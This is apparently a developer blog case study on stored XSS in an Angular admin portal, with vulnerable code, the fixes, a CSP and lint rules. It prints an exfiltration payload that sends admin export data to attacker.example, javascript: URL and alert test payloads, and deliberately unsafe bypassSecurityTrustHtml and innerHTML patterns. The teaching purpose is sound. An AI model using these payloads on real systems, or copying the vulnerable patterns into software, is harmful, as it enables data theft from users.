Angular gives you better XSS defaults than most frontend frameworks. That’s the good news.

The bad news: teams still break those protections all the time.

I’ve seen this happen in real apps that started out safe, then picked up “just one quick workaround” for rich text, embeds, markdown, or dynamic links. A few months later, the app is full of bypassSecurityTrustHtml, direct innerHTML writes, and helper pipes that quietly turn untrusted input into executable code.

Here’s a realistic case study from an Angular admin portal that handled customer-generated content: support notes, product descriptions, and notification banners.

The app looked secure on paper. Angular was in place. Templates were mostly standard. But a few convenience shortcuts created an XSS path that could hit admins, which is exactly the kind of user an attacker wants.

The setup

The app had three features that accepted user-controlled content:

  1. Support note rendering with basic formatting
  2. Marketing banner messages shown in the admin dashboard
  3. External links attached to customer records

The team wanted rich text and clickable links. They also wanted to move fast. Predictably, they reached for the wrong tools.

Before: the vulnerable version

1. Raw HTML rendering with a “safeHtml” pipe

A developer added a custom pipe so formatted notes could render in templates.

import { Pipe, PipeTransform } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Pipe({ name: 'safeHtml' })
export class SafeHtmlPipe implements PipeTransform {
  constructor(private sanitizer: DomSanitizer) {}

  transform(value: string): SafeHtml {
    return this.sanitizer.bypassSecurityTrustHtml(value);
  }
}

Used like this:

<div class="support-note" [innerHTML]="note.body | safeHtml"></div>

This is one of the most common Angular XSS mistakes I see. The name safeHtml is a lie. bypassSecurityTrustHtml() does not sanitize anything. It disables Angular’s built-in protection and tells Angular, “trust me, I checked this.”

Most teams did not check this.

An attacker submitted a support note like this:

<p>Customer says this issue is urgent.</p>
<img src="x" onerror="fetch('/api/admin/export').then(r => r.text()).then(x => location='https://attacker.example/?d='+encodeURIComponent(x))">

Without the bypass call, Angular would sanitize dangerous HTML. With the bypass call, the payload executed when an admin opened the ticket.

The app displayed customer websites in the admin panel:

<a [href]="customer.website">{{ customer.website }}</a>

Angular does sanitize URL bindings, which helps. But the team later added a helper that “fixed broken links” by writing directly to the DOM after render:

ngAfterViewInit() {
  const links = document.querySelectorAll('.customer-link');

  links.forEach((link: any) => {
    const raw = link.getAttribute('data-url');
    if (raw && !raw.startsWith('http')) {
      link.href = 'https://' + raw;
    } else {
      link.href = raw;
    }
  });
}

Template:

<a class="customer-link" [attr.data-url]="customer.website">
  {{ customer.website }}
</a>

That bypassed Angular’s sanitization layer entirely. A payload like this became dangerous:

javascript:alert(document.domain)

The code path didn’t validate protocols. It just assigned to href.

3. Banner rendering from API content

Marketing banners came from the backend and were rendered like this:

this.http.get<{ message: string }>('/api/banner').subscribe((data) => {
  this.bannerEl.nativeElement.innerHTML = data.message;
});

That’s plain DOM XSS.

The assumption was, “the backend owns this content.” In practice, banner content passed through an internal CMS where multiple users could edit it. Once you have multiple editors, imports, copy-pasted HTML, or any kind of shared content pipeline, “trusted source” becomes fuzzy fast.

A malicious banner payload only had to land once to hit every logged-in admin.

How the bug actually got exploited

The team first noticed weird API calls from an admin account. Not full account takeover, but enough to exfiltrate ticket data and trigger privileged actions through the victim’s browser session.

The root cause was the support note renderer. An attacker entered a crafted payload into a customer-facing form. The note was stored server-side, then displayed in Angular using the custom safeHtml pipe. The payload ran in the admin’s browser.

Classic stored XSS.

The frustrating part was that Angular would have reduced the risk if the team had just used normal bindings and avoided bypass APIs.

After: the fixed version

The cleanup had three parts:

  1. Remove bypasses and direct DOM HTML writes
  2. Sanitize rich text on the server and treat it as untrusted until proven safe
  3. Add CSP as a backstop

Fix 1: stop using bypassSecurityTrustHtml for untrusted content

The pipe was deleted.

For rich text, the team changed the flow so the backend sanitized HTML before storing or before returning it. The frontend rendered only already-sanitized HTML, and even then, did not use bypass APIs.

<div class="support-note" [innerHTML]="note.safeBody"></div>

That matters. Angular still applies its own sanitization to [innerHTML]. That’s what you want.

If you truly need trusted HTML wrappers, reserve them for tightly controlled static content, not user input.

A simple rule I use:

  • User input: never pass to bypassSecurityTrustHtml
  • CMS content: still treat as untrusted unless sanitized
  • Developer-authored constants: maybe acceptable, but rare

Fix 2: validate URLs before binding or assigning

The team replaced direct DOM assignment with a URL normalization function in TypeScript.

getSafeWebsiteUrl(raw: string): string | null {
  if (!raw) return null;

  try {
    const url = new URL(raw, 'https://example.com');
    const allowed = ['http:', 'https:'];

    if (!allowed.includes(url.protocol)) {
      return null;
    }

    return url.href;
  } catch {
    return null;
  }
}

Template:

<a
  *ngIf="getSafeWebsiteUrl(customer.website) as websiteUrl"
  [href]="websiteUrl"
  rel="noopener noreferrer"
>
  {{ customer.website }}
</a>

No direct DOM writes. No protocol guessing with string checks. No javascript: URLs slipping through because someone only checked for "http".

If the app needs to allow mailto: or tel:, add them explicitly.

Fix 3: remove nativeElement.innerHTML writes

The marketing banner was changed from manual DOM mutation to normal Angular binding:

bannerMessage = '';

ngOnInit() {
  this.http.get<{ message: string }>('/api/banner').subscribe((data) => {
    this.bannerMessage = data.message;
  });
}
<div class="banner" [innerHTML]="bannerMessage"></div>

That alone is safer than direct innerHTML writes because Angular sanitizes HTML in the binding context.

The better fix was architectural: the API now returns either plain text or server-sanitized limited HTML. The frontend no longer treats arbitrary HTML blobs as normal content.

The part teams usually miss: server-side rendering and hydration

If you use Angular with SSR, don’t assume frontend protections are enough. Dangerous content can be introduced during server rendering too, especially if templates are stitched together with raw strings before Angular gets involved.

The team audited their SSR path and found one bad pattern in a rendering helper:

const html = `<div class="banner">${apiResponse.message}</div>`;

That was replaced with framework rendering and the same sanitization rules used elsewhere. If your app has SSR, check every place where HTML strings are constructed manually.

CSP as a safety net, not a primary fix

After cleaning up the code, the team added a Content Security Policy to reduce blast radius if another XSS bug showed up later.

A practical starting point looked like this:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

That won’t fix bad rendering logic. It does make many payloads harder to exploit, especially inline script execution and opportunistic third-party script abuse.

For Angular apps, CSP takes a bit of planning if you have legacy inline scripts, analytics, or SSR quirks. If you need implementation guidance, the official Angular docs are the first place to check, and https://csp-guide.com is useful for practical CSP rollout details.

Official docs:

What changed operationally

The code fixes mattered, but the process changes kept the app from regressing.

The team added three guardrails:

1. Ban dangerous APIs in app code

They added linting and code review rules around:

  • bypassSecurityTrustHtml
  • bypassSecurityTrustScript
  • bypassSecurityTrustUrl
  • ElementRef.nativeElement.innerHTML
  • document.write
  • direct outerHTML and insertAdjacentHTML

These APIs now require security review.

2. Separate “formatted text” from “HTML”

This was a big mindset shift. Product requests said “support bold text,” but developers heard “store and render HTML.”

Those are not the same.

If the feature is really formatting, use markdown or a restricted rich-text pipeline with server-side sanitization. Don’t accept arbitrary HTML unless you enjoy incident response.

3. Test with malicious payloads

They added a few payloads to integration tests:

const payloads = [
  `<img src=x onerror=alert(1)>`,
  `<svg><script>alert(1)</script></svg>`,
  `javascript:alert(1)`,
  `<a href="javascript:alert(1)">click</a>`
];

Not because test payloads are perfect, but because they catch the obvious regressions fast.

The takeaway

Angular is pretty good at XSS prevention when you stay inside its normal template and binding model. Most real Angular XSS issues come from developers stepping outside that model:

  • trusting HTML too early
  • bypassing sanitization
  • writing directly to the DOM
  • treating internal content as automatically safe

The “before” version of this app had Angular, but it also had escape hatches everywhere. The “after” version mostly looked boring. That’s a compliment. Secure rendering code should be boring.

If I had to boil it down to one rule: if you see bypassSecurityTrust... in code handling user or CMS content, assume you’ve got a security bug until proven otherwise.